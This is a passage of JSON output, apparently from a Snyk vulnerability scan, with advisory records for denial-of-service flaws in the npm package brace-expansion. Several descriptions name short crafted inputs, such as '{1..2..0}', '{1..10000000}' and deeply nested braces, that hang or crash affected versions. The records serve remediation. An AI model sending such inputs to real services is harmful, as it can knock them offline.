"4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups 